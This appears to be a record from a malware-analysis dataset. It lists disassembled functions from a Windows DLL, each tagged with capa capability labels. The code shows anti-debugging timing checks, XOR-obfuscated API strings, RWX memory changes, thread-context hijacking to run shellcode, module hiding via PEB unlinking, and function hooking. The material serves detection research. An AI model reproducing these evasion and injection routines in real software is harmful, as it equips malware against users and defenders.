joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a400
Capabilities:
Execute anti-debugging instructions
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012057
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x10018014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x118], 0
jne 0x1000a463
xor ecx, ecx
jmp 0x1000a479
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000a470
sub ecx, edx
push ecx
lea eax, [ebp - 0x118]
mov ecx, 0x1001ea40
push eax
call fcn.10002760
mov cl, 0x2c
mov byte [ebp - 0x11a], 0
mov al, 0x70
mov byte [ebp - 0x11c], cl
xor al, cl
mov byte [ebp - 0x11a], 0
mov byte [ebp - 0x11b], al
jne 0x1000a4b1
xor ecx, ecx
jmp 0x1000a4c9
lea ecx, [ebp - 0x11b]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000a4c0
sub ecx, edx
push ecx
push ecx
lea eax, [ebp - 0x11b]
push eax
call fcn.1000a9c0
push 0xffffffffffffffff
inc eax
mov ecx, 0x1001ea40
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10004060
mov esi, eax
cmp esi, 0x1001ea40
je 0x1000a534
mov ecx, dword [0x1001ea54]
cmp ecx, 0x10
jb 0x1000a50e
inc ecx
push ecx
push dword [0x1001ea40]
call fcn.10002660
push esi
mov ecx, 0x1001ea40
mov dword [0x1001ea54], 0xf
mov dword [0x1001ea50], 0
mov byte [0x1001ea40], 0
call fcn.100035d0
mov eax, dword [ebp - 0x12c]
cmp eax, 0x10
jb 0x1000a54c
inc eax
push eax
push dword [ebp - 0x140]
call fcn.10002660
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call fcn.10001d50
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.100083b0
call fcn.10008490
call fcn.10002950
sidt [ebp - 0x124]
mov eax, dword [ebp - 0x122]
and eax, 0xff000000
cmp eax, 0xff000000
jne 0x1000a59e
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.100029c0
call fcn.10002a70
test al, al
jne 0x1000a587
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
rdtsc
mov dword [ebp - 0x124], eax
rdtsc
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x124]
cmp eax, 0x1f4
ja 0x1000a587
call fcn.10002b20
call fcn.1000af20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000e535
mov esp, ebp
pop ebp
ret
Function at 0x1000aea0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.10011400
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x1000aec3
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10

Function at 0x1000af20
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10018014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x3d
mov dword [ebp - 0x2f4], 0x51496f3d
mov dword [ebp - 0x2f0], 0x595c5271
xor eax, eax
mov dword [ebp - 0x2ec], 0x544f496e
mov word [ebp - 0x2e8], 0x5a53
mov byte [ebp - 0x2e6], 0
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x1000af7a
mov cl, byte [ebp - 0x2f4]
jmp 0x1000af65
push ebx
mov byte [ebp - 0x2e4], 0x68
mov al, 6
xor al, byte [ebp - 0x2e4]
mov bl, 4
mov ah, bl
mov byte [ebp - 0x2e3], al
mov al, byte [ebp - 0x2e4]
mov dl, 0xc
mov bh, ah
mov byte [ebp - 0x2d5], ah
xor bl, al
mov byte [ebp - 0x2da], 0
xor ah, al
mov byte [ebp - 0x2e6], 0
xor bh, al
mov byte [ebp - 0x2df], ah
mov dh, dl
mov byte [ebp - 0x2e0], bl
xor dl, al
mov byte [ebp - 0x2dc], bh
xor dh, al
mov byte [ebp - 0x2e1], dl
mov cl, 0x1c
mov byte [ebp - 0x2dd], dh
xor cl, al
mov byte [ebp - 0x2da], 0
mov ch, 0x46
mov byte [ebp - 0x2e2], cl
xor ch, al
mov al, byte [ebp - 0x2d5]
xor al, byte [ebp - 0x2e4]
mov byte [ebp - 0x2db], al
lea eax, [ebp - 0x2f3]
push esi
push eax
lea eax, [ebp - 0x2e3]
mov byte [ebp - 0x2de], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], 0
lea esi, [eax + 0x430]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x2cc
lea eax, [ebp - 0x2d4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2d4], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x224], 0x10001ec0
push eax
push esi
mov dword [ebp - 0x2d4], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000e535
mov esp, ebp
pop ebp
ret
Function at 0x1000b0d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x10013fb0]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x5248744e
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x444145
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1000b0f6
mov byte [ebp - 0x10], 0x5b
mov al, 0x35
xor al, byte [ebp - 0x10]
mov bl, 0x37
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x3f
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 6], 0
xor ah, al
mov byte [ebp - 0x11], 0
xor bh, al
mov byte [ebp - 0xb], ah
mov dh, dl
mov byte [ebp - 0xc], bl
xor dl, al
mov byte [ebp - 8], bh
xor dh, al
mov byte [ebp - 0xd], dl
mov cl, 0x2f
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 0x75
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0xf]
mov byte [ebp - 0xa], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1000b17f
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x1000b19e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b1b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000b1ee
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b1f2
cmp edx, esi
jne 0x1000b1d7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000b212
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b216
cmp edx, esi
jne 0x1000b1fb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000b236
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b23a
cmp edx, esi
jne 0x1000b21f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b860
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1000ba30
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1000b93d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1000b8aa
mov eax, dword [ebp - 4]
cmp eax, dword [0x10018004]
ja 0x1000b8aa
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000b87a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000b8cf
jmp 0x1000b93d
cmp dword [ebp - 0x14], 0x10000
jne 0x1000b923
cmp dword [ebp - 0x18], 0x10000
jb 0x1000b923
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000b906
mov eax, dword [ebp - 8]
jmp 0x1000b93f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000b916
xor eax, eax
jmp 0x1000b93f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000b938
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1000ba30
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000b87a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000b950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1000ba60
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000ba25
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1000b995
mov eax, dword [ebp - 4]
cmp eax, dword [0x10018004]
ja 0x1000b995
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000b965
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000b9ba
jmp 0x1000ba25
cmp dword [ebp - 0x14], 0x10000
jne 0x1000ba0e
cmp dword [ebp - 0x18], 0x10000
jb 0x1000ba0e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000b9f1
mov eax, dword [ebp - 8]
jmp 0x1000ba27
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000ba01
xor eax, eax
jmp 0x1000ba27
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000ba20
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1000ba60
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000b965
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000ba90
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1000be80
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x10019c00], 0
jne 0x1000bacd
cmp dword [0x10019bfc], 0
je 0x1000bacd
mov eax, dword [0x10019bfc]
mov dword [0x10019c00], eax
cmp dword [0x10019c00], 0
je 0x1000bb4a
mov ecx, dword [0x10019c00]
cmp dword [ecx + 8], 0
je 0x1000bb4a
mov edx, dword [0x10019c00]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1000bb4a
mov ecx, dword [0x10019c00]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1000bb4a
mov eax, dword [0x10019c00]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x1000bb19
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x1000bb20
xor eax, eax
jmp 0x1000bc69
mov ecx, dword [0x10019c00]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x1000bc69
mov edx, dword [0x10019bfc]
mov dword [0x10019c00], edx
jmp 0x1000bb66
mov eax, dword [0x10019c00]
mov ecx, dword [eax + 4]
mov dword [0x10019c00], ecx
cmp dword [0x10019c00], 0
je 0x1000bba6
cmp dword [0x10019c00], 0
je 0x1000bba4
mov edx, dword [0x10019c00]
cmp dword [edx + 8], 0
je 0x1000bba4
mov eax, dword [0x10019c00]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x1000bba4
mov edx, dword [0x10019c00]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x1000bba4
jmp 0x1000bafe
jmp 0x1000bb58
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1000bc70
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000bc67
mov eax, dword [ebp - 0x18]
mov dword [0x10019c00], eax
mov ecx, dword [0x10019c00]
mov dword [ecx], 0x52727464
mov edx, dword [0x10019c00]
mov dword [edx + 8], 0
mov eax, dword [0x10019c00]
mov ecx, dword [0x10019bfc]
mov dword [eax + 4], ecx
mov edx, dword [0x10019c00]
mov dword [0x10019bfc], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x10019c00]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x1000bc37
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x1000bc57
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1000bc2e
mov eax, dword [0x10019c00]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1000bafe
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000c9b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10019bfc]
mov dword [ebp - 4], eax
jmp 0x1000c9c9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1000c9f0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1000c9ee
call sub.KERNEL32.dll_GetLastError
jmp 0x1000c9f2
jmp 0x1000c9c0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000ce90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x10019c0c], eax
je 0x1000ceb4
mov eax, 0x10dd
jmp 0x1000d05c
cmp dword [0x10019c10], 0
je 0x1000cec7
mov eax, dword [0x10019c10]
jmp 0x1000d05c
cmp dword [ebp + 0xc], 0
jne 0x1000ced7
mov eax, 0x57
jmp 0x1000d05c
cmp dword [ebp + 8], 0
jne 0x1000cee7
mov eax, 6
jmp 0x1000d05c
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1000cf10
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x10019c10], ecx
mov edx, dword [ebp + 8]
mov dword [0x10019c14], edx
mov eax, dword [ebp - 8]
jmp 0x1000d05c
push 0x18
call fcn.1000e546
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000cf6b
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x10019c10], ecx
cmp dword [ebp - 4], 0
je 0x1000cf5a
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
push 0x18
mov eax, dword [ebp - 0x20]
push eax
call fcn.1000eafe
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x10019c14], ecx
mov eax, dword [ebp - 8]
jmp 0x1000d05c
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1000ce70
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1000ce70
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x1000cfab
cmp dword [ebp - 0xc], 0x1e
jbe 0x1000cfc7
mov dword [ebp - 8], 9
cmp dword [0x10019c04], 0
je 0x1000cfc2
jmp 0x1000cf39
jmp 0x1000cf30
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1000cfee
mov dword [ebp - 8], 9
cmp dword [0x10019c04], 0
je 0x1000cfe9
jmp 0x1000cf39
jmp 0x1000cf30
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1000d019
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1000cf30
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x10019c1c]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x10019c1c], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x1000d070
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x10019c0c], eax
je 0x1000d08d
mov eax, 0x10dd
jmp 0x1000d170
mov eax, dword [0x10019c1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000d10c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1000d0e8
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1000d0e8
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1000bf10
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.1000eafe
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1000d095
mov dword [0x10019c1c], 0
call fcn.1000c7f0
mov ecx, dword [0x10019c18]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1000d15a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1000eafe
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1000d124
mov dword [0x10019c18], 0
mov dword [0x10019c0c], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000d650
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10019c10], 0
je 0x1000d669
mov eax, dword [0x10019c10]
jmp 0x1000d708
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x1000d67a
xor eax, eax
jmp 0x1000d708
push 8
call fcn.1000e546
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000d6d2
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1000d6bb
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.1000eafe
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10019c10], eax
mov dword [0x10019c14], 0
mov eax, dword [ebp - 8]
jmp 0x1000d708
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x1000d6ea
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1000d69a
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10019c18]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10019c18], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x10011200
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001249e
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10018014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x10018020]
cmp eax, 0xffffffff
jne 0x10011236
xor ebx, ebx
jmp 0x1001123f
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x10011281
nop dword [eax]
cmp dword [ebx + 0x18], 0
mov esi, dword [ebx + 0xc]
jne 0x100112c0
test esi, esi
jne 0x100112c4
push 0x10010d00
push 0x10019fb0
call fcn.10010870
mov eax, dword [0x10018020]
add esp, 8
cmp eax, 0xffffffff
je 0x10011281
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x100112ae
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x100112ae
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10011306
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x100112ef
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x100112c4
cmp dword [ebx + 0x18], 0
je 0x10011250
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x1001132d
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1001132d
push eax
mov eax, dword [esi + 0x14]
push ecx
call eax
add esp, 8
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.10010d20
cmp dword [ebx + 0x18], 0
jne 0x10011310
jmp 0x10011250